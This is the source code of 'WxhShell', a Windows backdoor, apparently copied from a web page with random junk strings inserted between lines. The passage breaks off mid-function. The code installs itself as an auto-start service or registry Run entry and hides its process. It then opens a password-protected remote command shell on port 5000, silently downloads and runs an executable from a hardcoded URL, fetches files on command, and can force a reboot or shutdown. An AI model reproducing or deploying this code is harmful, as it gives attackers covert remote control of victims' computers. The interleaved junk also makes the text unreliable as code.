`)Fk g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #d[Nm+~ko NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9L-jlAo< 1]0;2THx if (!NtQueryInformationProcess) return 0; ~$^>Vo c}S<<LR hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9:xs)t- _ if(!hProcess) return 0; z8kebS&5 9vDOSwU* if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l9j=;h jzpDKc% CloseHandle(hProcess); rzie_)a Y% =Sr<d|\O hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R64f0NK. if(hProcess==NULL) return 0; 6Xo "?f 1K|F;p HMODULE hMod; x{ `{j' char procName[255]; 3]}RjOTU unsigned long cbNeeded; |Axbx? ~bzac2Rp if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *m>[\) mb3aUFxA; CloseHandle(hProcess); L|(U%$ Hiwij,1 if(strstr(procName,"services")) return 1; // 以服务启动 dS Tyx#o |${ImP return 0; // 注册表启动 8n2;47 a } >Sw?F& T]/> c // 主模块 #k d9} int StartWxhshell(LPSTR lpCmdLine) :nl,Ac { *+6iXMwe SOCKET wsl; (5:pHX`P BOOL val=TRUE; f9y+-GhaD int port=0; 9 2D~trn struct sockaddr_in door; L|s\IM1g 6v%ePFul if(wscfg.ws_autoins) Install(); ]^wr+9zd If&y 5C port=atoi(lpCmdLine); |Go$z3bx ;[P> if(port<=0) port=wscfg.ws_port; 6,~1^g* X+u1p? WSADATA data; a!u5}[{ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; e~'z;%O~ "dOQ)<; if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; <RC %< setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rhaq!s38: door.sin_family = AF_INET; ;;CNr_ door.sin_addr.s_addr = inet_addr("127.0.0.1"); (OwGp3g door.sin_port = htons(port); w<]-~`K N|"kuRN# if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +mR^ I$9 closesocket(wsl); G*%U0OTi return 1; H)&iFq } <:nyRy} ;iJxJX\+ if(listen(wsl,2) == INVALID_SOCKET) { 8 ?y| closesocket(wsl); br k*; return 1; DMp@B]> } Ijz*wq\s; Wxhshell(wsl); <u#
7K\: WSACleanup(); ?-9uf\2_ %{^|Av1Uz return 0; N.nGez ZpBP#Y* } NN+;I^NqW& }[@Q**j( // 以NT服务方式启动 W
9}xfy09 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cud9oJ-=; { A yn$, DWORD status = 0; NZ!I > DWORD specificError = 0xfffffff; 1#+|RL4o f4d-eXGwx` serviceStatus.dwServiceType = SERVICE_WIN32; p_JWklg^ serviceStatus.dwCurrentState = SERVICE_START_PENDING; gk5Gf
l serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mZ:#d;0 serviceStatus.dwWin32ExitCode = 0; fsnZHL}=n serviceStatus.dwServiceSpecificExitCode = 0; J
48$l(l3 serviceStatus.dwCheckPoint = 0; [Ne'2z serviceStatus.dwWaitHint = 0; ]Z=al`- v7#|% hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); v&]yzl if (hServiceStatusHandle==0) return; ~>0H
k}Hv jr#*;go status = GetLastError(); fWri7|"0h if (status!=NO_ERROR) tgl 4pAc { ;g2UIb?{6 serviceStatus.dwCurrentState = SERVICE_STOPPED; +7_U(|gO serviceStatus.dwCheckPoint = 0; 0fUsERr1* serviceStatus.dwWaitHint = 0; &U}8@; serviceStatus.dwWin32ExitCode = status; W|n$H`;R serviceStatus.dwServiceSpecificExitCode = specificError; w?N>3`Jnf SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,PJC FQMR return; )4:]gx#cr } 9~a 5R]x2
P-8QXDdr serviceStatus.dwCurrentState = SERVICE_RUNNING; LH`2Y,E serviceStatus.dwCheckPoint = 0; KPjAk serviceStatus.dwWaitHint = 0; u.?jW vcv if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); WT1y7+_g(d } 7#9%,6Yi "f~OC<GdYs // 处理NT服务事件,比如:启动、停止 N{@~(>ee^ VOID WINAPI NTServiceHandler(DWORD fdwControl) @B(E&
{ F:Ps> switch(fdwControl) !su773vo { V3a6QcG case SERVICE_CONTROL_STOP: Bx$?*y&f!v serviceStatus.dwWin32ExitCode = 0; 9zCuVUcd$. serviceStatus.dwCurrentState = SERVICE_STOPPED; 1Qz@ serviceStatus.dwCheckPoint = 0; G^dzE/: serviceStatus.dwWaitHint = 0; Z
d@B6R { ]Ge>S?u SetServiceStatus(hServiceStatusHandle, &serviceStatus); ryA+Lli. } =d:3]M^ return; >NV1#\5_R@ case SERVICE_CONTROL_PAUSE: oEFo7X`t serviceStatus.dwCurrentState = SERVICE_PAUSED; )<_qTd0` break; 2*Pk1vrI case SERVICE_CONTROL_CONTINUE: !u
.n serviceStatus.dwCurrentState = SERVICE_RUNNING; +StsSZ break; w&J_c8S case SERVICE_CONTROL_INTERROGATE: 8ZCA
vEy break; ]gaeN2 }; HPt\ BK SetServiceStatus(hServiceStatusHandle, &serviceStatus); d'3"A"9R7- } Ss\?SEq &k-NDh3 // 标准应用程序主函数 7-u'x[=m int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) mieyL9*n7 { "^wIoJ6H' I,)\506 // 获取操作系统版本 MLmaA3 OsIsNt=GetOsVer(); 5a)$:oO! GetModuleFileName(NULL,ExeFile,MAX_PATH); se=^K#o r=AA
/n< // 从命令行安装 T,vh=UF%] if(strpbrk(lpCmdLine,"iI")) Install(); Q|S>C%4? |90X_6( // 下载执行文件 du#f_|xG if(wscfg.ws_downexe) { Rr[Wka9[ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <63TN`B WinExec(wscfg.ws_filenam,SW_HIDE); C-h?#/#?y } zfg+gd)Z AP1ZIc6 if(!OsIsNt) { *W>, 98 // 如果时win9x,隐藏进程并且设置为注册表启动 ;vX1U8 HideProc(); MEp{v|1 StartWxhshell(lpCmdLine); EIyFGCw|U } uZ>q$
F else *">CEQ[MT if(StartFromService()) 9d(#/n // 以服务方式启动 C+5X8 StartServiceCtrlDispatcher(DispatchTable); Fr;
's(^ else ZW0\_1 // 普通方式启动 V7p
hD3Y StartWxhshell(lpCmdLine); IXR'JZ?fH 'RzO`-dr return 0; u=vBjaN2_w } gG}H5uN M7 kWJ a)Pr&9I ;Bzx}7A =========================================== #:/27 W|uRQA` u4m8^fj+T YG8)`XqC ,tg(aL HJ0;BD.] " 6%>'n? 6?C';1 #include <stdio.h> dG]B-(WTC #include <string.h> ?K:.Pa #include <windows.h> c=9A d #include <winsock2.h>
&1&OXm$ #include <winsvc.h> M V!d*\ #include <urlmon.h> ;FF+uK y;<suGl #pragma comment (lib, "Ws2_32.lib") n"D` = #pragma comment (lib, "urlmon.lib") =NI?Jk*iAq 1,Mm+_)B #define MAX_USER 100 // 最大客户端连接数 &/)B d% #define BUF_SOCK 200 // sock buffer 8"-=+w.CZ #define KEY_BUFF 255 // 输入 buffer HIvSpO u U>L ( #define REBOOT 0 // 重启 p|mFF0SL #define SHUTDOWN 1 // 关机 (c^ {T) ;BT7pyu%[ #define DEF_PORT 5000 // 监听端口 k.o8!aCm )Ho"b #define REG_LEN 16 // 注册表键长度 KZVdW@DY #define SVC_LEN 80 // NT服务名长度 -qHG*v, 1@h8.ym<" // 从dll定义API 2/uZ2N|S typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K9p<PLy+ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -zqpjxU: typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @o^$/AE? typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); n ]D io 'd&d"E[ // wxhshell配置信息 yg*
#~, struct WSCFG { W83PMiN"T- int ws_port; // 监听端口 z/f._Z( char ws_passstr[REG_LEN]; // 口令 Ak kF6d+ int ws_autoins; // 安装标记, 1=yes 0=no |O oczYf char ws_regname[REG_LEN]; // 注册表键名 Yg,b
;H char ws_svcname[REG_LEN]; // 服务名 j u"?b2f char ws_svcdisp[SVC_LEN]; // 服务显示名 Hc8He!X*# char ws_svcdesc[SVC_LEN]; // 服务描述信息 dJJq]^| char ws_passmsg[SVC_LEN]; // 密码输入提示信息 L=EkY O%\" int ws_downexe; // 下载执行标记, 1=yes 0=no 6DK).|@$r char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" UntFkoO char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {Q_GJ a7F_{Mm }; $;Iz7:#jN Jvsy
6R // default Wxhshell configuration xU0iz{9 struct WSCFG wscfg={DEF_PORT, d,(q3 "xuhuanlingzhe", U1E@pDH 1, v{uq "Wxhshell", 2rf8)8': "Wxhshell", n8_X<jIp3 "WxhShell Service", =N{?ll6x7g "Wrsky Windows CmdShell Service", :l!sKT?:d! "Please Input Your Password: ", Y;huTZ 1, t!6uz "http://www.wrsky.com/wxhshell.exe", a=A12< "Wxhshell.exe" pI8z.JD }; Tj_K5uccU} UXdc'i g // 消息定义模块 Qj_)^3`e char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; x>TIx[x char *msg_ws_prompt="\n\r? for help\n\r#>"; FA)ot)] char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0Ui_Trlc char *msg_ws_ext="\n\rExit."; ecJjE
56P char *msg_ws_end="\n\rQuit."; 1hgIR^;[b char *msg_ws_boot="\n\rReboot..."; 3Wbd=^hRvq char *msg_ws_poff="\n\rShutdown..."; V4ePYud;^ char *msg_ws_down="\n\rSave to "; n_RZ:<Gr t=@d`s:R2 char *msg_ws_err="\n\rErr!"; kc P ZIP: char *msg_ws_ok="\n\rOK!"; W)/f5[L 8~R.iqLoX char ExeFile[MAX_PATH]; p#]9^oA int nUser = 0; <3@nv% HANDLE handles[MAX_USER]; !-470J int OsIsNt; F1- "yX1B ~/-SKGzo- SERVICE_STATUS serviceStatus; r0lI&25w SERVICE_STATUS_HANDLE hServiceStatusHandle; 7qOkv1.}0 _BerHoQd // 函数声明 V*Fy@ int Install(void); D})/2O p int Uninstall(void); 'l~7u({u int DownloadFile(char *sURL, SOCKET wsh); Kb<c||2Nh5 int Boot(int flag); ]1d)jWG
void HideProc(void); _BJ:GDz> int GetOsVer(void); A>upT' int Wxhshell(SOCKET wsl); y'odn ; void TalkWithClient(void *cs); ?&eS }skL int CmdShell(SOCKET sock); 0[%{YmI{W int StartFromService(void); Cy6!?Mik int StartWxhshell(LPSTR lpCmdLine); w`f66*@Q1 :LNZC,-f}5 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); U2<q dknB
VOID WINAPI NTServiceHandler( DWORD fdwControl ); H+Bon=$cE!
=5B5 // 数据结构和表定义 [#Gu?L_W SERVICE_TABLE_ENTRY DispatchTable[] = @#t<!-8d { E=,5%>C0#% {wscfg.ws_svcname, NTServiceMain}, Y 'X!T8 {NULL, NULL} ;
I-6H5 }; {Hl(t$3V` U=
f9b]Y // 自我安装 h~Z &L2V int Install(void) l:eC+[_;> { ~zac.:a8 char svExeFile[MAX_PATH]; i*mU<:t HKEY key; _[-MyU s strcpy(svExeFile,ExeFile); ),B/NZ/- ^[m-PS( // 如果是win9x系统,修改注册表设为自启动 \M@IKE if(!OsIsNt) { 2SD
Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
&R4?]I RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Aqf91
[c RegCloseKey(key); 8WP"~Js! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^K1mh9O RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hN=kU9@knC RegCloseKey(key); K\xM%O? return 0; y|MhV/P04 } 4To$!= } e\[q3J } b' M"To@ else { lrKT?siB ;0oL*d[1Z // 如果是NT以上系统,安装为系统服务 JB'tc!!* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ji!i}UjD7! if (schSCManager!=0) i_AD3Jrs { Y96<c" t SC_HANDLE schService = CreateService 86-Rm ( ?r&~(<^z schSCManager, r5hkxk' wscfg.ws_svcname, DeF`#a0E wscfg.ws_svcdisp, Mpw]dYM SERVICE_ALL_ACCESS, WK*tXc_[b SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Y1sK sdV SERVICE_AUTO_START, i7h^L)M SERVICE_ERROR_NORMAL, sB*dv06b0 svExeFile, R-Lpgi<a" NULL, F3!@|/<w NULL, #BBDI NULL, N5 ; z5E NULL, DKMkCPX% NULL P8dMfD*"E ); s,[I_IiPf if (schService!=0) jJ<&!= { '\8YH+%It CloseServiceHandle(schService); [Ca''JqrA CloseServiceHandle(schSCManager); I$+=Fb'N0 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); O
]
!tK strcat(svExeFile,wscfg.ws_svcname); 1=IOio4U if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y)]VlV!` RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C/N;4 RegCloseKey(key); ZR3,dW6S return 0; X4hz\={ } [T7&)p } x<!]#**; CloseServiceHandle(schSCManager); wj}LVyV } $X)|`$#pL# } b1IAp >*2l ]JGq{I>%+6 return 1; jsgDJ} } R#~l[S8u^ *.wj3'wV // 自我卸载 :EHk]Hkz
int Uninstall(void) DpmAB. { oO?+2pTQV HKEY key; Q!IqvmO lW#2 ox if(!OsIsNt) { X!z-J> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xu-bn RegDeleteValue(key,wscfg.ws_regname); RE4#a2 RegCloseKey(key); RF2I_4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m2(}$z3e RegDeleteValue(key,wscfg.ws_regname); Ucy=I$" RegCloseKey(key); Q
Rr9|p{ return 0; [>p!*%m } (
EJ1g^|" } ;5\'PrE } mGDc,C=5: else { Nes|4Z< 4pXY7+e2' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); RZpjr !R if (schSCManager!=0) xE--)=<$ { KV;q}EyG SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .0U[nt6 if (schService!=0) ;t9_*)[ { Y}.f&rLe if(DeleteService(schService)!=0) { 4j'rbbs/ CloseServiceHandle(schService); AdDR<IW CloseServiceHandle(schSCManager); 5 8;OTDR! return 0; CfrO1i F } & }j;SK5 CloseServiceHandle(schService); *<
fJgc"3 } Pr%KcR ; CloseServiceHandle(schSCManager); E,?IIRg& } zpf<!x^ } Wy6a4oY 4`oKvL9 return 1; =(TMcu$4` } ckP AH E@ @Q ~;@M // 从指定url下载文件 yG~Vvpv int DownloadFile(char *sURL, SOCKET wsh) X[<#B5 { J#@+1 Nt HRESULT hr; e&ZTRgYdi char seps[]= "/"; a[zVC)N0 char *token; 525^/d6v char *file; N|)e {|k char myURL[MAX_PATH]; N&k\X]U char myFILE[MAX_PATH]; n'pJl ON!Fk:- strcpy(myURL,sURL); @ kv~2m token=strtok(myURL,seps); 0;`FS/[(f while(token!=NULL) 17l?li { pg,JYn file=token; .sj/Lw} token=strtok(NULL,seps); 3''Kg<k,I } j8?! J^TC K9ih(fh) GetCurrentDirectory(MAX_PATH,myFILE); dQp>z%L) strcat(myFILE, "\\"); vzSjfv strcat(myFILE, file); Bmt8yR2 send(wsh,myFILE,strlen(myFILE),0); ?@MY +r_G send(wsh,"...",3,0); t Jtp1$h hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &l-d_dh if(hr==S_OK) HtE^7i*_ return 0; CUC]-]8 else #]Do_Z return 1; ;cL+=! nHXPEbq-g } /:\27n dKDCJt]t
// 系统电源模块 W>{&"
5 int Boot(int flag) >N`,
3;Z { 0%\fm W j HANDLE hToken; }4c$_ TOKEN_PRIVILEGES tkp; 0?I Xooh00 if(OsIsNt) { i[.7 8K-s OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); U~7{q
> LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lQ[JA[ tkp.PrivilegeCount = 1; K'"s9b8 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Mjl,/-0 w AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qnd] UUA^ if(flag==REBOOT) { _Y6Ezh. if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P$ b5o return 0; fyx Q{J } L4u.cHJ}0 else { -s0J8b if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /
)[\+Nc return 0; @LU[po1I } ~Lu,jLKL=[ } e+2lus,u6t else { :=q9ay if(flag==REBOOT) { hOIg7=v if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Rdd9JJsVd return 0; T
I
ZkN6 } _ qQ else {
#^-'q`) if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
~xPetkl@ return 0; Qd?S~3XT } fR2,NKM@ } oc-o>H j~;y~Cx? return 1; l<"B[ } 5*B'e{C ^ 6t"A // win9x进程隐藏模块 Cf<TDjU`| void HideProc(void) xw1,Wbu] { EW)r/Av:, kAxJ#RG HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); OWYY2&.h if ( hKernel != NULL ) dj 6Lf { fl_a@QdB# pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'P&r^V\~(/ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q7rX4-G$ FreeLibrary(hKernel); -/7@ A } \IR$~ fv>Jn` return; * _,yK-et } dftX$TS `\BBdQ#bH // 获取操作系统版本 {+9t!' int GetOsVer(void)
"JYWsE { :c[T@[ OSVERSIONINFO winfo; ')fIa2dO/ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); dsK^-e6:5 GetVersionEx(&winfo);
pG /g if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O=1#KNS return 1; D9r;Ys% else 4tapQgj24 return 0; G6"4JTWO } U!nNT== Mw;^`ZxT // 客户端句柄模块 (i@(ZG]/ int Wxhshell(SOCKET wsl) t$Ua&w { "MOmJYH SOCKET wsh; K<u~[^R struct sockaddr_in client; U[@B63];0 DWORD myID; ;q<:iaY9 CTX%~1_`O while(nUser<MAX_USER) ].gC9@C:$i { pl 1CEoe int nSize=sizeof(client); +k wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7H[.o~\ if(wsh==INVALID_SOCKET) return 1; 6SSrkj }U ?Y$3R"p@3` handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /q`f3OV" if(handles[nUser]==0) DEzL] 1;P closesocket(wsh); fvDcE]_%H else BUsAEwM nUser++; QVN@B[9 } $)(Zt^ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @Z~0!VY Ti5"a<R4m6 return 0; 3SOrM } x C>>K6Nb 00A2[gO9 // 关闭 socket vmtmiN8;d void CloseIt(SOCKET wsh) bgmOX&`G { |Gb~[6u closesocket(wsh); w:9n/[ nUser--; ^`(3X ExitThread(0); X*:)]p(R } c5HW.3" LS1}j WU! // 客户端请求句柄 gHU0Pr9' void TalkWithClient(void *cs) s3 gT6 { & =vi]z:[ z#olKBs SOCKET wsh=(SOCKET)cs; DTx>^<Tk char pwd[SVC_LEN]; C5#$NV99p char cmd[KEY_BUFF]; :UsNiR=l char chr[1]; 8DlRD$_:& int i,j; of.=n }j#c#''i while (nUser < MAX_USER) { qI gb;=V UrB{jS? if(wscfg.ws_passstr) { 5CM]-qbf@ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t*!Q9GC_ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X]%n#\t,] //ZeroMemory(pwd,KEY_BUFF); %|?PG i@5 i=0; x$V[xX while(i<SVC_LEN) { _&F*4t!n_ 6q^.Pg-Y // 设置超时 sX=_|<[ fd_set FdRead; q VJC O-K| struct timeval TimeOut; y8O<_VOO}" FD_ZERO(&FdRead); a 1pa#WC FD_SET(wsh,&FdRead); }Xy<F?Mh TimeOut.tv_sec=8; EXbhyg TimeOut.tv_usec=0; q^kOyA. int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); N7qSbiRf< if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?-PW$p |Ns[{/ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Qc"UTvq pwd=chr[0]; I78huYAYA if(chr[0]==0xd || chr[0]==0xa) { 0SWec7G pwd=0; nSV
OS6 break; :mz6*0qW } UR.l*+<W7 i++; e@crM'R7Lo } >I.X]<jI =wX(a // 如果是非法用户,关闭 socket W-@}q}A if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l8ZzKb- } &]H Y: 62%=%XD send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #s^~'2^%4 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
WJ$!W VSa#X |z while(1) { @Vac!A??: IG~d7rh" ZeroMemory(cmd,KEY_BUFF); XQL]I$? Q68q76 // 自动支持客户端 telnet标准 *b]$lj j=0; go$zi5{h# while(j<KEY_BUFF) { SdBo sB3v> if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q+'QJ7fw'| cmd[j]=chr[0]; ,v+~vXO&\ if(chr[0]==0xa || chr[0]==0xd) { _kT$/k cmd[j]=0; E
h>qUa break; k9?fE } D>Dch0{H,: j++; 'uw=)8t7 } r5N.Qt8 zHvG3Ed@ // 下载文件 hbv>Jjd if(strstr(cmd,"http://")) { s@ vHU4 send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3]1uDgfr if(DownloadFile(cmd,wsh)) W-+~r send(wsh,msg_ws_err,strlen(msg_ws_err),0); \>*B else ril4*$e7^\ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d@-bt s&3 } 0(!D1G{ul else { ;y"quJ'O Mm+kG'Z!S switch(cmd[0]) { 8 P=z"y N
v,Yikf // 帮助 qkN{l88 case '?': { t1)Qa(#] send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D|p`~( break; 2-*zevPiG= } Jx8?x#} // 安装 ~4fjFo& |